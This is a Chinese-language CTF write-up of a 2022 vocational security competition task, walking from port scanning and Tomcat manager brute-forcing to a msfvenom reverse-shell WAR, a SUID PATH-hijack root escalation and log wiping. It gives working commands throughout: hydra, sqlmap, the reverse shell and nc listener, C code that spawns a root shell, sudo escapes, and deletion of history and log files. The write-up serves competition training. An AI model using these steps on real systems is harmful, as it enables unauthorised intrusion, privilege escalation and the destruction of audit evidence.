CTF竞赛实战:从Web渗透到Linux提权的完整攻击链解析
1. 赛题复盘与核心思路拆解
2022年的那场全国中职组网络安全国赛,现在回想起来,依然能感受到赛场上的紧张氛围和烧脑的快感。我拿到的这套赛题(试题8),可以说是对选手综合能力的一次“压力测试”。它不像一些基础题那样直来直去,而是把多个知识点像拧麻花一样交织在一起,考验的不仅是你会不会,更是你如何快速定位、关联和突破。今天,我就以一个参赛者的视角,把当时我个人的解题思路、踩过的坑以及一些事后复盘才想明白的关节,毫无保留地分享出来。这篇文章不是官方题解,没有标准答案,纯粹是我一个人在有限时间内的思考路径,希望能给后来者,无论是备赛的学生还是想了解竞赛思维的朋友,提供一个真实的、可供批判性参考的案例。
这套题的核心,在我看来,是围绕“Web应用安全”与“系统权限提升”两条主线展开的,中间穿插了信息收集、密码破解、流量分析等常规但易错环节。题目环境通常是一个模拟的、存在多处漏洞的靶机系统。我的整体思路可以概括为:“由外而内,由浅入深,先拿立足点,再图纵深发展”。具体来说,就是先通过外部信息收集和Web漏洞扫描找到Web应用的入口点,获取一个初始的、低权限的访问权限(比如一个Web Shell)。然后,以此为跳板,在系统内部进行更深入的信息搜集,寻找权限提升(Privilege Escalation)的路径,最终目标是拿到系统的最高权限(root),并找到隐藏在系统中的“Flag”(目标文件或字符串)。下面,我就按照这个逻辑链条,一步步还原我的思考过程。
2. 信息收集:一切攻击的起点
很多人一上来就急着上扫描器、跑漏洞利用脚本,这其实是大赛中最容易浪费时间的地方。高效、精准的信息收集,往往能让你事半功倍,甚至直接发现解题的捷径。
2.1 靶标识别与端口扫描
拿到靶机IP后,我的第一步永远是使用nmap进行全端口扫描。但这里有个细节:大赛环境网络可能不稳定,或者有防护策略,直接-p-扫所有65535个端口可能会很慢甚至被阻断。我的策略是分两步走:
- 快速扫描常用端口:
nmap -sS -sV -O --top-ports 1000 <靶机IP>。-sS是SYN半开扫描,速度快;-sV探测服务版本;-O尝试识别操作系统;--top-ports 1000扫描最可能开放的1000个端口。这一步的目的是快速绘制出靶机的“肖像”。 - 针对性深度扫描:根据第一步的结果,如果发现了一些可疑的、非常用端口(比如一个很高的4位数或5位数端口),再针对这些端口进行深度版本探测和脚本扫描。例如,
nmap -sS -sV -sC -p <特定端口> <靶机IP>,-sC会运行默认的Nmap脚本,有时能直接发现漏洞信息。
在2022年的这道题里,我记忆犹新的是,除了常见的80(HTTP)、22(SSH)、21(FTP)端口外,还开放了一个8080端口,运行着一个Tomcat服务,以及一个3306端口(MySQL)。这个8080端口后来被证明是关键的初始突破点。同时,对80端口的Web服务进行目录扫描(我用的是gobuster或dirsearch)时,发现了一个/admin目录和一个/backup目录,这立刻提高了我的警觉。
注意:目录扫描的字典选择很重要。国赛环境中的路径命名有时会比较“规矩”或带有特定含义(如公司名、项目名缩写),使用常见的字典如
common.txt,directory-list-2.3-medium.txt的同时,也可以尝试结合页面源代码中的注释、JS文件名等线索,自定义一些关键词进行扫描。
2.2 Web应用指纹识别与漏洞关联
识别出Web服务(Apache/Nginx + PHP/Java等)和具体框架(如ThinkPHP, Spring, Struts等)后,要立刻在脑中关联其常见历史漏洞。例如,看到Tomcat,就要想到管理后台弱口令、PUT方法上传、特定版本的反序列化漏洞(CVE-2017-12615等)。看到某个PHP CMS的特定版本,就要去回忆对应的漏洞利用方式。
在本题中,通过访问8080端口的Tomcat默认页面,确认了Tomcat版本(如8.5.x)。管理后台路径/manager/html可以访问,但需要认证。这是一个非常经典的入口点。同时,对80端口的Web应用进行简单的手工测试,发现其登录框可能存在SQL注入,/admin目录存在一个登录页面,这些点都需要记录下来,作为后续并线测试的选项。
信息收集阶段的心得:不要只依赖工具输出。一定要手动访问每个开放的HTTP/HTTPS服务,用浏览器开发者工具(F12)查看网络请求、源代码、Cookie、JS文件。源代码中的注释、隐藏的表单字段、JS里的API路径,常常藏着出题人留下的“彩蛋”。我把所有发现:IP、端口、服务版本、可疑路径、前端注释线索,都记录在一个本地的Markdown或文本文件中,形成初始的“作战地图”。
3. Web突破:寻找第一个立足点
在收集了足够信息后,就需要选择一个最有可能的突破口进行尝试。我的选择优先级通常是:已知漏洞(有公开EXP)> 弱口令/默认口令 > 逻辑漏洞 > 需要复杂利用的漏洞(如盲注、反序列化)。
3.1 Tomcat管理后台弱口令爆破
面对Tomcat管理后台,我的第一反应就是弱口令爆破。Tomcat常见的默认账号密码组合如tomcat:tomcat,admin:admin,role1:role1,both:tomcat等。但国赛通常不会设置得这么简单。我使用hydra进行爆破:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <靶机IP> http-get /manager/html同时,我也准备了自定义的用户名字典(如admin, manager, tomcat)和密码字典(融合了top1000常用密码和可能相关的词汇)。
踩坑记录:这里我犯过一个错误,最初只用了
http-get模块。但Tomcat管理后台的认证是表单提交,应该使用http-post-form模块。正确的命令应该是:hydra -l admin -P /path/to/passwords.txt <靶机IP> http-post-form "/manager/html:j_username=^USER^&j_password=^PASS^&from=%2Fmanager%2Fhtml&Login=Login:F=Login failed"参数中需要指定登录的请求路径、表单字段名、以及认证失败时页面会包含的字符串(这里是“Login failed”)。这个细节浪费了我大概十分钟,直到我抓包确认了表单提交的格式才纠正过来。
3.2 利用Tomcat WAR包部署获取Webshell
幸运的是,通过爆破,我获得了Tomcat管理后台的凭证(具体账号密码因赛题设置而异,可能是弱口令,也可能是通过其他信息推断出的密码)。登录成功后,就来到了可以部署WAR包的管理界面。
获取Webshell的标准操作是:
- 使用
msfvenom生成一个JSP格式的反弹Shell的WAR包:
这里有个关键点:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<我的VPN IP> LPORT=4444 -f war -o shell.warLHOST必须填写攻击机(你的Kali Linux)在赛题网络环境中的IP地址,不是本地回环地址。很多新手在这里会填错。 - 在Tomcat管理后台的“WAR file to deploy”部分,上传生成的
shell.war文件并部署。 - 部署成功后,访问
http://<靶机IP>:8080/shell/(注意上下文路径是/shell,对应你的WAR包名),就会触发这个JSP页面。 - 同时在攻击机上使用
nc -lvnp 4444监听对应端口,等待连接。
当看到反弹Shell成功连接,出现一个简单的命令交互界面时,第一阶段的目标就达成了。我们获得了在Tomcat服务进程权限(通常是tomcat或www-data用户)下执行系统命令的能力。
3.3 备用方案:Web应用的其他漏洞利用
在爆破Tomcat的同时,我也并行测试了80端口Web应用的SQL注入点。使用sqlmap进行自动化检测和利用:
sqlmap -u "http://<靶机IP>/login.php" --data="username=admin&password=test" --level=3 --risk=2 --batch如果存在注入,并且可以获取数据,那么目标可能就是获取后台管理员账号密码,进而登录/admin后台,寻找文件上传点来获取Webshell。这是一条并行的攻击路径。在实际比赛中,多条线索并行测试是提高效率的关键,但也要管理好精力,避免在一条死胡同里钻太久。我当时的策略是,如果Tomcat爆破在5分钟内没有明显进展,就重点转向SQL注入的深入利用。
4. 权限提升:从普通用户到Root
拿到一个低权限的Shell(比如tomcat用户)只是开始,国赛的目标通常是拿到root权限。这就需要我们在目标系统内部进行“横向移动”和“纵向提权”。
4.1 内部信息搜集(Linux环境)
一旦建立了反向Shell,首先要做的就是全面了解当前所处的环境。我执行了一系列命令来收集信息:
- 系统与用户信息:
id whoami uname -a cat /etc/passwd cat /etc/group sudo -l # 非常重要!检查当前用户能以sudo方式执行哪些命令 - 网络与进程信息:
ifconfig 或 ip a netstat -antp 或 ss -antp ps aux - 敏感文件与配置查找:
find / -type f -name "*.txt" -o -name "*.conf" -o -name "*.sh" -o -name "*.bak" -o -name "*flag*" -o -name "*.sql" 2>/dev/null find / -type f -perm -4000 -o -perm -2000 2>/dev/null # 查找SUID/SGID文件,提权重点 ls -la /home/ /var/www/ /opt/ /tmp/ # 查看常见目录 cat ~/.bash_history # 查看当前用户的历史命令,可能有密码等信息
4.2 利用SUID/SGID二进制文件提权
find / -perm -4000 2>/dev/null这个命令的结果至关重要。它列出了所有设置了SUID位的可执行文件。SUID意味着任何用户执行这个文件时,都会以文件所有者的权限运行。如果这个文件的所有者是root,并且其本身存在漏洞(或者可以被滥用),就可能直接提权到root。
在这次的靶机中,我发现了一个不常见的二进制文件,比如/usr/local/bin/custom_backup。通过strings /usr/local/bin/custom_backup查看其字符串,发现它内部调用了tar命令来打包文件,但没有使用绝对路径,或者对用户输入过滤不严。
经典的提权手法:如果程序使用了相对路径调用系统命令(如tar),并且我们能够控制PATH环境变量,我们就可以创建一个恶意的同名tar程序,放在我们控制的目录下,并将该目录添加到PATH环境变量的最前面。当SUID程序执行时,它会优先找到并执行我们的恶意tar,而这个恶意程序是以root权限运行的。
我的操作步骤:
- 在可写目录(如
/tmp)下创建一个名为tar的C程序:#include <stdlib.h> #include <unistd.h> int main() { setuid(0); system("/bin/bash -p"); return 0; } - 编译它:
gcc -o tar tar.c - 将当前目录添加到
PATH最前面:export PATH=/tmp:$PATH - 运行那个SUID程序:
/usr/local/bin/custom_backup
如果一切顺利,就会弹出一个具有root权限的bash shell。执行whoami确认是否为root。
实操心得:不是所有SUID文件都那么容易利用。需要仔细分析它的功能。其他常见的SUID提权目标包括:
find(find . -exec /bin/sh \;)、vim、less、more、nmap(旧版本交互模式)、cp、mv等。要熟悉这些程序的“逃逸”方法。同时,sudo -l的结果如果显示当前用户可以以root身份无需密码运行某些命令(如vi,python,perl,tar等),那也是极佳的提权点,例如sudo python -c 'import os; os.system("/bin/bash")'。
4.3 利用内核漏洞提权
如果上述方法都行不通,就需要考虑系统是否存在内核漏洞。使用uname -a查看内核版本,然后搜索该版本是否存在公开的提权EXP。可以使用脚本自动化检查,如linux-exploit-suggester.sh或LinEnum.sh。
重要警告:在真实比赛和授权的渗透测试中,运行内核EXP是高风险操作,可能导致系统崩溃(蓝屏/死机)。在国赛环境中,虽然通常是隔离的靶机,但也要有心理准备。我一般会先尝试其他更稳定的方法,最后才考虑内核提权。并且,要准备好备用方案,万一靶机崩溃,可能需要联系裁判重置(如果比赛规则允许)。
5. 获取Flag与痕迹清理
提权到root后,下一步就是寻找Flag。Flag通常是一个特定格式的字符串(如flag{xxxx-xxxx-xxxx}),存放在一个文件里。
5.1 定位Flag文件
寻找Flag的常用命令:
find / -type f -name "*flag*" 2>/dev/null find / -type f -exec grep -l "flag{" {} \; 2>/dev/null # 在所有文件中搜索包含“flag{”字符串的文件 cat /root/flag.txt # 常见位置 cat /home/<某个用户>/flag find / -perm -600 -type f 2>/dev/null | xargs grep -l "flag{" # 在属主可读写的文件中找有时Flag可能藏在数据库里,需要连接MySQL去查找。或者藏在Web目录的某个深层子目录、备份压缩包里。需要耐心和细致的搜索。
5.2 比赛中的“善后”思考
在真实的渗透测试中,获取目标后需要清理日志、隐藏踪迹。但在CTF竞赛中,通常不需要也不应该这么做,除非题目明确要求。裁判可能需要查看你的攻击日志来评分。我的习惯是,只读取Flag内容,提交到评分平台,不对系统做任何额外的、破坏性的修改。
但是,从学习角度,了解如何清理痕迹是必要的:
- 清除命令历史:
history -c或清空~/.bash_history文件。 - 清除Web访问日志:定位到Tomcat日志目录(如
/usr/local/tomcat/logs/)或Apache/Nginx日志目录,删除或篡改相关访问记录。 - 清除系统日志:涉及
/var/log/下的多个文件,如auth.log,secure,messages等,使用shred或直接删除。但操作这些需要root权限,且动作很大。
6. 总结与备赛建议
回顾这道赛题的整个解题过程,它完整地串联了外部侦察、Web渗透、权限提升这几个核心的网络安全实战环节。对我个人而言,最大的收获不是解出了题目,而是在高压和时间限制下,锻炼出了一套系统化的攻击思维流程和灵活的应变能力。
对于想要参加此类竞赛的同学,我个人的几点建议是:
- 基础命令要成为肌肉记忆:
nmap,gobuster/dirsearch,hydra,sqlmap,msfvenom,netcat, 以及Linux下各种信息收集和提权命令,必须非常熟练。在赛场上,你没时间查手册。 - 搭建自己的知识库和工具库:将常见的漏洞利用步骤、Payload、提权方法整理成笔记(我用的是Obsidian)。把常用的工具脚本(如信息收集脚本、提权检查脚本)准备好,随时调用。
- 多做综合性靶场练习:不要只刷单一漏洞的靶场。去尝试像“VulnHub”、“HackTheBox”上的综合型靶机,或者国内的一些CTF在线平台。模拟从零到root的完整过程。
- 培养并线测试和快速切换的能力:在比赛中,不要死磕一个点。当一条路走了3-5分钟还没头绪时,立刻保存当前状态,切换到另一条攻击链路上。所有发现的信息要随时记录,它们之间可能存在关联。
- 学会读懂“出题人意图”:国赛题目往往有迹可循。开放的非常用端口、Web页面上的注释、奇怪的文件名、系统里不常见的SUID程序,这些都很可能是出题人故意留下的线索。多从“如果我是出题人,我会把Flag藏在哪里”这个角度思考。
最后,我想说,网络安全竞赛的魅力就在于这种“解谜”和“实战”的结合。每一次解题,都是一次对知识体系和技术心态的锤炼。希望我的这份个人思路复盘,能为你打开一扇窗,看到赛场内外的别样风景。真正的能力,是在一次次真实的挑战中积累起来的。祝你备赛顺利,赛场夺魁!
